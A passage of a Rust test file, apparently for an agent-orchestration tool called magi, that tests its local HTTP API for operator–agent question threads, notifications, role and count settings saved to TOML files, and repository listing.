store.beat(&id, ask::WaiterKind::Deputy);
let view = fx.get("/api/questions").await.json();
assert_eq!(view[0]["text_delivery"]["state"], "live");
let accepted = fx
.post(&path, Some(r#"{"body":"explain the findings"}"#))
.await;
assert_eq!(accepted.status, 200, "{}", accepted.body);
let before = std::fs::read(store.path_of(&id)).unwrap();
store.drop_lease(&id);
let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
assert_eq!(refused.status, 422, "{}", refused.body);
assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
let held = fx
.post(
&format!("/api/questions/{id}/answer"),
Some(r#"{"choice":"hold"}"#),
)
.await;
assert_eq!(held.status, 200, "{}", held.body);
assert_eq!(store.get(&id).unwrap().thread.len(), 1);
}
#[tokio::test]
async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
let repo = tempfile::tempdir().unwrap();
let mut cfg = stub_config();
cfg.daemon.max_deputies = 0;
std::fs::write(
repo.path().join("magi.toml"),
toml::to_string(&cfg).unwrap(),
)
.unwrap();
let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
let mut status = crate::daemon::Status::new();
status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
let id = ask(&fx, "Explain?", &["hold"]);
fx.questions()
.update(&id, |q| {
q.node = crate::land::APPROVAL_NODE.into();
q.deputy = Some(ask::Deputy::new("context".into()));
q.deputy.as_mut().unwrap().agent = "stub".into();
Ok(())
})
.unwrap();
cfg.daemon.max_deputies = 1;
std::fs::write(
repo.path().join("magi.toml"),
toml::to_string(&cfg).unwrap(),
)
.unwrap();
let view = fx.get("/api/questions").await.json();
assert_eq!(view[0]["deputies_enabled"], true);
assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
let res = fx
.post(
&format!("/api/questions/{id}/say"),
Some(r#"{"body":"Please explain"}"#),
)
.await;
assert_eq!(res.status, 422, "{}", res.body);
assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
}
#[tokio::test]
async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
let fx = Fixture::start().await;
let id = ask(&fx, "No seat", &[]);
let store = fx.questions();
let before = std::fs::read(store.path_of(&id)).unwrap();
let res = fx
.post(
&format!("/api/questions/{id}/say"),
Some(r#"{"body":"hello"}"#),
)
.await;
assert_eq!(res.status, 422, "{}", res.body);
assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
let res = fx
.post(
&format!("/api/questions/{id}/answer"),
Some(r#"{"text":"hello"}"#),
)
.await;
assert_eq!(res.status, 200, "{}", res.body);
assert_eq!(
store.get(&id).unwrap().resolution().as_deref(),
Some("hello")
);
}
#[tokio::test]
async fn saying_something_appends_a_turn_without_answering() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
fx.questions().beat(&id, ask::WaiterKind::Asker);
let path = format!("/api/questions/{id}/say");
let res = fx
.post(&path, Some(r#"{"body":"why not Postgres?"}"#))
.await;
assert_eq!(res.status, 200, "{}", res.body);
let body = res.json();
assert_eq!(body["status"], "open", "talking back is not a decision");
assert_eq!(body["answer"], Value::Null);
assert_eq!(body["thread"][0]["who"], "operator");
assert_eq!(body["thread"][0]["body"], "why not Postgres?");
assert_eq!(body["waiting_on_agent"], true);
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
}
#[tokio::test]
async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let list = fx.get("/api/questions").await.json();
assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
assert_eq!(res.status, 409, "{}", res.body);
let q = fx.questions().get(&id).unwrap();
assert!(q.status.open());
assert!(q.consult.is_none());
}
#[tokio::test]
async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let cfg = Config {
agents: vec![crate::config::AgentSpec {
id: "mock".to_owned(),
kind: crate::config::AgentKind::Command,
model: None,
command: vec!["true".to_owned()],
extra_args: Vec::new(),
env: Default::default(),
prompt_delivery: None,
max_turn_secs: None,
}],
..Config::default()
};
let talk = crate::talk::begin(
&fx.talks(),
&cfg,
fx.home.path().to_path_buf(),
Some("mock"),
)
.unwrap();
let mut task = Task::new(
"t".to_owned(),
"Do it".to_owned(),
PathBuf::from("/repo/magi"),
Source::Agent {
run: talk.id.clone(),
node: crate::queue::CHAT_NODE.to_owned(),
},
);
task.start("20260902-000000-beef".to_owned());
fx.queue().put(&mut task).unwrap();
let list = fx.get("/api/questions").await.json();
assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
assert_eq!(
list[0]["choices"],
serde_json::json!(["SQLite", "Redis"]),
"the hand-over is never a choice"
);
fx.questions()
.update(&id, |q| {
q.node = crate::land::APPROVAL_NODE.into();
q.choices = vec!["merge".into(), "hold".into()];
Ok(())
})
.unwrap();
let list = fx.get("/api/questions").await.json();
assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
assert_eq!(list[0]["can_consult_chat"], true);
fx.questions()
.update(&id, |q| {
q.node = crate::bump::NOTICE_NODE.into();
Ok(())
})
.unwrap();
let list = fx.get("/api/questions").await.json();
assert_eq!(list[0]["origin_chat"], talk.id.as_str());
assert_eq!(list[0]["can_consult_chat"], false);
}
#[tokio::test]
async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
fx.questions()
.update(&id, |q| {
q.node = crate::land::APPROVAL_NODE.into();
q.choices = vec!["merge".into(), "hold".into()];
Ok(())
})
.unwrap();
let cfg = Config {
agents: vec![crate::config::AgentSpec {
id: "mock".to_owned(),
kind: crate::config::AgentKind::Command,
model: None,
command: vec!["true".to_owned()],
extra_args: Vec::new(),
env: Default::default(),
prompt_delivery: None,
max_turn_secs: None,
}],
..Config::default()
};
let repo = fx.home.path().join("chat-repo");
std::fs::create_dir_all(&repo).unwrap();
let toml = repo.join("magi.toml");
std::fs::write(&toml, "this is = = not toml").unwrap();
let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
let mut task = Task::new(
"t".to_owned(),
"Do it".to_owned(),
PathBuf::from("/repo/magi"),
Source::Agent {
run: talk.id.clone(),
node: crate::queue::CHAT_NODE.to_owned(),
},
);
task.start("20260902-000000-beef".to_owned());
fx.queue().put(&mut task).unwrap();
let path = format!("/api/questions/{id}/consult");
let res = fx.post(&path, None).await;
assert!(res.status >= 400, "{}", res.body);
assert!(fx.questions().get(&id).unwrap().consult.is_none());
assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
std::fs::write(&toml, "").unwrap();
let res = fx.post(&path, None).await;
assert_eq!(res.status, 202, "{}", res.body);
assert!(fx.questions().get(&id).unwrap().consult.is_some());
let q = fx.questions().get(&id).unwrap();
assert!(q.status.open());
assert!(q.answer.is_none());
assert_eq!(res.json()["origin_chat"], talk.id.as_str());
assert_eq!(res.json()["can_consult_chat"], true);
let list = fx.get("/api/questions").await.json();
assert_eq!(list[0]["origin_chat"], talk.id.as_str());
assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
let res = fx
.post(
&format!("/api/questions/{id}/answer"),
Some(r#"{"choice":"hold"}"#),
)
.await;
assert_eq!(res.status, 200, "{}", res.body);
assert_eq!(res.json()["answer"]["choice"], "hold");
assert_eq!(res.json()["origin_chat"], talk.id.as_str());
assert_eq!(res.json()["can_consult_chat"], false);
assert_eq!(fx.post(&path, None).await.status, 409);
let mut talk = fx.talks().get(&talk.id).unwrap();
crate::talk::close(&mut talk, &fx.talks()).unwrap();
let list = fx.get("/api/questions").await.json();
assert_eq!(list[0]["origin_chat"], talk.id.as_str());
assert_eq!(list[0]["origin_chat_closed"], true);
assert_eq!(list[0]["can_consult_chat"], false);
fx.talks().remove(&talk.id).unwrap();
let list = fx.get("/api/questions").await.json();
assert_eq!(list[0]["origin_chat"], Value::Null);
assert_eq!(list[0]["origin_chat_closed"], false);
assert_eq!(list[0]["can_consult_chat"], false);
}
#[tokio::test]
async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
let fx = Fixture::start().await;
let store = fx.questions();
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
store.beat(&id, ask::WaiterKind::Asker);
assert_eq!(
fx.get("/api/health").await.json()["questions_needs_owner"],
1
);
let res = fx
.post(
&format!("/api/questions/{id}/say"),
Some(r#"{"body":"why not Postgres?"}"#),
)
.await;
assert_eq!(res.status, 200, "{}", res.body);
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
assert_eq!(
fx.get("/api/health").await.json()["questions_needs_owner"],
0,
"waiting on the agent is not waiting on the owner"
);
let mut q = store.get(&id).expect("get");
q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
.expect("reply");
store.put(&mut q).expect("put");
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
assert_eq!(
fx.get("/api/health").await.json()["questions_needs_owner"],
1,
"the agent's reply is what should light the banner back up"
);
}
#[tokio::test]
async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
let fx = Fixture::start().await;
let store = fx.questions();
let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let res = fx
.post(
&format!("/api/questions/{empty_id}/say"),
Some(r#"{"body":" "}"#),
)
.await;
assert_eq!(res.status, 400, "{}", res.body);
let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let mut answered = store.get(&answered_id).expect("get");
answered
.answer(Answer::Choice("SQLite".to_owned()))
.expect("answer");
store.put(&mut answered).expect("put");
let res = fx
.post(
&format!("/api/questions/{answered_id}/say"),
Some(r#"{"body":"still there?"}"#),
)
.await;
assert_eq!(res.status, 409, "{}", res.body);
let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let mut abandoned = store.get(&abandoned_id).expect("get");
abandoned.abandon("timed out");
store.put(&mut abandoned).expect("put");
let res = fx
.post(
&format!("/api/questions/{abandoned_id}/say"),
Some(r#"{"body":"still there?"}"#),
)
.await;
assert_eq!(res.status, 409, "{}", res.body);
}
#[tokio::test]
async fn an_answer_the_question_does_not_offer_is_refused() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let path = format!("/api/questions/{id}/answer");
for body in [
r#"{"choice":"Postgres"}"#,
r#"{"text":"whatever you think"}"#,
r#"{"choice":"Redis","text":"both"}"#,
r#"{}"#,
] {
let res = fx.post(&path, Some(body)).await;
assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
assert!(res.json()["error"].is_string(), "{}", res.body);
}
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
}
#[tokio::test]
async fn a_free_text_question_takes_text_and_not_a_choice() {
let fx = Fixture::start().await;
let id = ask(&fx, "What should the flag be called?", &[]);
fx.questions().beat(&id, ask::WaiterKind::Asker);
let path = format!("/api/questions/{id}/answer");
assert_eq!(
fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
400
);
let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
assert_eq!(res.status, 200, "{}", res.body);
assert_eq!(res.json()["answer"]["text"], "--json");
}
#[tokio::test]
async fn an_unknown_question_is_a_json_404() {
let fx = Fixture::start().await;
let res = fx
.post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
.await;
assert_eq!(res.status, 404, "{}", res.body);
assert!(res.json()["error"].is_string());
}
#[tokio::test]
async fn notifications_resolve_live_questions_without_changing_saved_notices() {
let fx = Fixture::start().await;
let questions = Questions::at(fx.home.path().join("questions"));
let store = Notices::at(fx.home.path().join("notifications"));
let mut q = ask::Question::new(
"t1".into(),
"conduct".into(),
"conductor".into(),
"Continue?".into(),
String::new(),
Vec::new(),
);
questions.put(&mut q).unwrap();
let mut n = Notice::warn("task:t1", "Task t1 is held.");
n.covered_by = Some(q.id.clone());
let n = store.raise(n).unwrap();
let listed = fx.get("/api/notifications").await.json();
assert_eq!(listed["items"][0]["answerable_question"], q.id);
questions
.update(&q.id, |q| {
q.abandon("run gone");
Ok(())
})
.unwrap();
let listed = fx.get("/api/notifications").await.json();
assert!(listed["items"][0]["answerable_question"].is_null());
assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
assert!(
!std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
.unwrap()
.contains("answerable_question")
);
}
#[tokio::test]
async fn notifications_list_read_dismiss_and_health_agree() {
let fx = Fixture::start().await;
let store = Notices::at(fx.home.path().join("notifications"));
assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
let a = store.raise(Notice::warn("task:1", "held")).unwrap();
let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
store
.raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
.unwrap();
let health = fx.get("/api/health").await.json();
assert_eq!(health["notifications_unread"], 2);
assert_ne!(
health["notifications_rev"], rev0,
"the badge must move live"
);
let listed = fx.get("/api/notifications").await.json();
assert_eq!(listed["unread"], 2);
assert_eq!(listed["items"].as_array().unwrap().len(), 2);
assert_eq!(listed["items"][0]["severity"], "error", "newest first");
let read = fx
.post(&format!("/api/notifications/{}/read", a.id), None)
.await;
assert_eq!(read.status, 200, "{}", read.body);
assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
let gone = fx
.post(&format!("/api/notifications/{}/dismiss", b.id), None)
.await;
assert_eq!(gone.status, 200, "{}", gone.body);
let listed = fx.get("/api/notifications").await.json();
assert_eq!(listed["items"].as_array().unwrap().len(), 1);
assert_eq!(listed["unread"], 0);
store.raise(Notice::info("x", "again")).unwrap();
let all = fx.post("/api/notifications/read-all", None).await;
assert_eq!(all.status, 200, "{}", all.body);
assert_eq!(all.json()["marked"], 1);
assert_eq!(
fx.get("/api/health").await.json()["notifications_unread"],
0
);
let missing = fx.post("/api/notifications/nope/read", None).await;
assert_eq!(missing.status, 404, "{}", missing.body);
assert!(missing.json()["error"].is_string());
}
#[tokio::test]
async fn a_task_cannot_be_filed_over_the_phone_directly() {
let f = Fixture::start().await;
let res = f
.post(
"/api/queue",
Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
)
.await;
assert_eq!(
res.status, 405,
"POST /api/queue must not be a route: {}",
res.body
);
assert!(
f.queue().list().is_empty(),
"a task filed by a route that does not exist must not reach the disk"
);
assert_eq!(f.get("/api/queue").await.status, 200);
}
fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
.expect("checkout dir");
}
const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
let machine = tmp.path().join("cfg").join("magi").join("config.toml");
if let Some(text) = machine_toml {
std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
std::fs::write(&machine, text).expect("machine toml");
}
(tmp, repo, machine)
}
async fn settings_checkout(path: &FsPath, text: &str) {
std::fs::create_dir_all(path).unwrap();
std::fs::write(path.join("magi.toml"), text).unwrap();
for args in [
vec!["init", "-b", "main"],
vec!["add", "magi.toml"],
vec![
"-c",
"user.name=Test",
"-c",
"user.email=test@example.invalid",
"commit",
"-m",
"fixture",
],
vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
vec![
"symbolic-ref",
"refs/remotes/origin/HEAD",
"refs/remotes/origin/main",
],
] {
crate::git::git(path, &args).await.unwrap();
}
}
#[tokio::test]
async fn settings_context_handlers_validate_and_save_without_a_socket() {
let (tmp, repo, machine) =
settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
let root = tmp.path().join("roots");
let selected = root.join("host/owner/selected");
settings_checkout(
&selected,
"[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
)
.await;
std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
let before = std::fs::read(&machine).unwrap();
let ui = Arc::new(
Ui::new(
Queue::at(tmp.path().join("queue")),
Questions::at(tmp.path().join("questions")),
Talks::at(tmp.path().join("talks")),
tmp.path().join("runs"),
tmp.path().to_path_buf(),
repo.clone(),
)
.with_machine_config(Some(machine.clone())),
);
let query = || {
Query(SettingsQuery {
repo: Some(selected.clone()),
})
};
let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
assert!(v.error.is_none(), "{:?}", v.error);
let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
assert_eq!(conductor.source, "repo");
assert_eq!(
conductor.machine_value,
Some(toml::Value::String("a".into()))
);
assert!(!conductor.editable);
let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
assert_eq!(
judges.count.as_ref().unwrap().machine_value,
Some(toml::Value::Integer(1))
);
assert!(
!v.roles
.iter()
.find(|r| r.key == "reviewers")
.unwrap()
.editable
);
let unknown = || {
Query(SettingsQuery {
repo: Some(tmp.path().to_path_buf()),
})
};
assert_eq!(
settings_get(State(ui.clone()), unknown())
.await
.unwrap_err()
.status,
StatusCode::UNPROCESSABLE_ENTITY
);
let body = || {
Ok(Json(RolesBody {
revision: v.revision.clone(),
roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
counts: Default::default(),
}))
};
assert_eq!(
settings_put_roles(State(ui.clone()), unknown(), body())
.await
.unwrap_err()
.status,
StatusCode::UNPROCESSABLE_ENTITY
);
assert_eq!(std::fs::read(&machine).unwrap(), before);
let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
.await
.unwrap();
assert_eq!(
saved.repo,
selected.canonicalize().unwrap().display().to_string()
);
assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
let fresh = root.join("host/owner/fresh");
settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
.await
.unwrap();
assert_eq!(fresh_view.repositories.len(), 3);
}
#[tokio::test]
async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
let (tmp, repo, machine) = settings_dirs(
"[roles]\nreviewers = [\"a\"]\n",
Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
);
let root = tmp.path().join("roots");
let selected = root.join("host/owner/selected");
settings_checkout(
&selected,
"[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
)
.await;
let broken = root.join("host/owner/broken");
settings_checkout(&broken, "[roles\nbroken").await;
let machine_text = format!(
"{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
toml::Value::String(root.display().to_string())
);
std::fs::write(&machine, &machine_text).unwrap();
let originals: Vec<_> = [&repo, &selected, &broken]
.iter()
.map(|p| std::fs::read(p.join("magi.toml")).unwrap())
.collect();
let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
let default = f.get("/api/settings").await.json();
assert_eq!(
default["repo"],
repo.canonicalize().unwrap().display().to_string()
);
assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
let query = format!("?repo={}", selected.display());
let res = f.get(&format!("/api/settings{query}")).await;
assert_eq!(res.status, 200, "{}", res.body);
let v = res.json();
assert!(v["error"].is_null(), "{v}");
assert_eq!(v["repositories"], default["repositories"]);
let role = |key: &str| {
v["roles"]
.as_array()
.unwrap()
.iter()
.find(|r| r["key"] == key)
.unwrap()
};
assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
assert_eq!(role("advisors")["source"], "repo");
assert_eq!(role("advisors")["editable"], false);
assert!(role("advisors")["machine_value"].is_null());
assert_eq!(role("judges")["count"]["value"], 2);
assert_eq!(role("judges")["count"]["machine_value"], 1);
assert_eq!(role("judges")["count"]["source"], "repo");
let source = role("judges")["count"]["source_path"].as_str().unwrap();
assert!(
source.contains("origin/main") && !source.contains("magi/config/"),
"{source}"
);
assert_eq!(
role("reviewers")["editable"],
false,
"default context outside roots must protect its declarations"
);
let body =
serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
let unknown = format!("?repo={}", tmp.path().display());
assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
assert_eq!(
f.put(&format!("/api/settings/roles{unknown}"), &body)
.await
.status,
422
);
assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
.to_string();
assert_eq!(
f.put(&format!("/api/settings/roles{query}"), &refuse)
.await
.status,
422
);
let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
assert_eq!(saved.status, 200, "{}", saved.body);
assert_eq!(saved.json()["repo"], v["repo"]);
assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
}
let error = f
.get(&format!("/api/settings?repo={}", broken.display()))
.await;
assert_eq!(error.status, 200);
assert!(error.json()["error"]["message"].is_string());
assert_eq!(error.json()["repositories"], default["repositories"]);
}
#[tokio::test]
async fn settings_get_reports_sources_and_the_advisors_fallback() {
let (_tmp, repo, machine) =
settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
let f = Fixture::with_repo_and_machine(repo, machine).await;
let res = f.get("/api/settings").await;
assert_eq!(res.status, 200, "{}", res.body);
let v = res.json();
assert!(v["error"].is_null(), "{v}");
let role = |k: &str| {
v["roles"]
.as_array()
.and_then(|r| r.iter().find(|x| x["key"] == k))
.cloned()
.unwrap_or_else(|| panic!("no role {k}: {v}"))
};
assert_eq!(role("judges")["source"], "machine");
assert_eq!(role("judges")["editable"], true);
assert_eq!(role("implementers")["source"], "default");
let adv = role("advisors");
assert_eq!(adv["fallback"], "judges");
assert!(
adv["seats"]
.as_array()
.is_some_and(|s| s.iter().all(|x| x == "b")),
"{adv}"
);
assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
assert_eq!(v["agents"][0]["source"], "repo");
}
#[tokio::test]
async fn settings_get_reports_a_config_that_does_not_parse() {
let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
let f = Fixture::with_repo_and_machine(repo, machine).await;
let res = f.get("/api/settings").await;
assert_eq!(res.status, 200, "{}", res.body);
let v = res.json();
assert!(v["error"]["message"].is_string(), "{v}");
assert!(
v["error"]["path"]
.as_str()
.is_some_and(|p| p.ends_with("magi.toml")),
"{v}"
);
assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
}
#[tokio::test]
async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
let (_tmp, repo, machine) = settings_dirs(
SETTINGS_AGENTS,
Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
);
let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
let rev = f.get("/api/settings").await.json()["revision"]
.as_str()
.expect("revision")
.to_owned();
let body = serde_json::json!({
"revision": rev,
"roles": { "judges": ["b", "a"], "reviewers": ["a"] }
})
.to_string();
let res = f.put("/api/settings/roles", &body).await;
assert_eq!(res.status, 200, "{}", res.body);
let text = std::fs::read_to_string(&machine).expect("machine");
assert_eq!(
text,
"# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
);
assert_eq!(
std::fs::read(repo.join("magi.toml")).expect("read"),
repo_before
);
let again = f.get("/api/settings").await.json();
let judges = again["roles"]
.as_array()
.expect("roles")
.iter()
.find(|r| r["key"] == "judges")
.expect("judges")
.clone();
assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
let stale = f.put("/api/settings/roles", &body).await;
assert_eq!(stale.status, 409, "{}", stale.body);
}
#[tokio::test]
async fn settings_counts_are_reported_and_saved() {
let (_tmp, repo, machine) = settings_dirs(
&format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
);
let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
let v = f.get("/api/settings").await.json();
let count = |v: &serde_json::Value, k: &str| {
v["roles"]
.as_array()
.and_then(|r| r.iter().find(|x| x["key"] == k))
.map(|x| x["count"].clone())
.unwrap_or_else(|| panic!("no role {k}: {v}"))
};
let imp = count(&v, "implementers");
assert_eq!(imp["value"], 2);
assert_eq!(imp["source"], "machine");
assert_eq!(imp["file_key"], "candidates");
assert_eq!(imp["roster_len"], 2);
assert_eq!(imp["backups"], 0);
assert_eq!(count(&v, "judges")["source"], "default");
assert_eq!(count(&v, "advisors")["min"], 0);
assert_eq!(count(&v, "reviewers")["editable"], false);
assert!(
count(&v, "reviewers")["locked_reason"]
.as_str()
.is_some_and(|m| m.contains("graph.reviewers"))
);
assert!(count(&v, "fixer").is_null());
let rev = v["revision"].as_str().expect("revision").to_owned();
let body = serde_json::json!({
"revision": rev,
"roles": { "judges": ["b"] },
"counts": { "implementers": 1, "advisors": 0 }
})
.to_string();
let res = f.put("/api/settings/roles", &body).await;
assert_eq!(res.status, 200, "{}", res.body);
let text = std::fs::read_to_string(&machine).expect("machine");
assert_eq!(
text,
"# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
);
let after = f.get("/api/settings").await.json();
assert_eq!(count(&after, "implementers")["value"], 1);
assert_eq!(count(&after, "implementers")["backups"], 1);
assert_eq!(count(&after, "advisors")["value"], 0);
let before = std::fs::read_to_string(&machine).expect("machine");
let rev = after["revision"].as_str().expect("revision").to_owned();
for counts in [
serde_json::json!({ "judges": 0 }),
serde_json::json!({ "judges": "x" }),
serde_json::json!({ "judges": 2.5 }),
serde_json::json!({ "judges": -1 }),
serde_json::json!({ "reviewers": 3 }),
serde_json::json!({ "bogus": 3 }),
] {
let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
let res = f.put("/api/settings/roles", &body).await;
assert_eq!(res.status, 422, "{counts}: {}", res.body);
assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
}
}
#[tokio::test]
async fn settings_put_refuses_without_touching_the_file() {
let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
let (_tmp, repo, machine) = settings_dirs(
&format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
Some(machine_text),
);
let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
let rev = f.get("/api/settings").await.json()["revision"]
.as_str()
.expect("revision")
.to_owned();
for roles in [
serde_json::json!({ "judges": ["nope"] }),
serde_json::json!({ "reviewers": ["b"] }),
serde_json::json!({ "bogus": ["a"] }),
] {
let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
let res = f.put("/api/settings/roles", &body).await;
assert_eq!(res.status, 422, "{roles}: {}", res.body);
assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
assert_eq!(
std::fs::read_to_string(&machine).expect("machine"),
machine_text
);
}
}
#[tokio::test]
async fn repos_list_returns_name_and_path_for_every_configured_root() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
let root = tmp.path().join("root");
make_checkout(&root, "github.com", "yukimemi", "magi");
std::fs::write(
repo.join("magi.toml"),
format!(
"[repos]\nroots = [{:?}]\n",
root.to_string_lossy().into_owned()
),
)
.expect("write magi.toml");
let f = Fixture::with_repo(repo).await;
let res = f.get("/api/repos").await;
assert_eq!(res.status, 200, "{}", res.body);
let list = res.json();
let repos = list.as_array().expect("an array");
assert_eq!(repos.len(), 1);
assert_eq!(repos[0]["name"], "yukimemi/magi");
assert!(
repos[0]["path"]
.as_str()
.is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
"{list}"
);
}
#[tokio::test]
async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
let root = tmp.path().join("root");
make_checkout(&root, "github.com", "yukimemi", "magi");
std::fs::write(
repo.join("magi.toml"),
format!(
"[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
root.to_string_lossy().into_owned()
),
)
.expect("write magi.toml");
let f = Fixture::with_repo(repo).await;
let first = f.get("/api/repos").await;
assert_eq!(first.json().as_array().map(Vec::len), Some(1));
make_checkout(&root, "github.com", "yukimemi", "rvpm");
let second = f.get("/api/repos").await;
assert_eq!(
second.json().as_array().map(Vec::len),
Some(1),
"a fresh cache must not rescan inside the TTL"
);
let refreshed = f.get("/api/repos?refresh=1").await;
assert_eq!(
refreshed.json().as_array().map(Vec::len),
Some(2),
"an explicit refresh must rescan even inside the TTL"
);
}
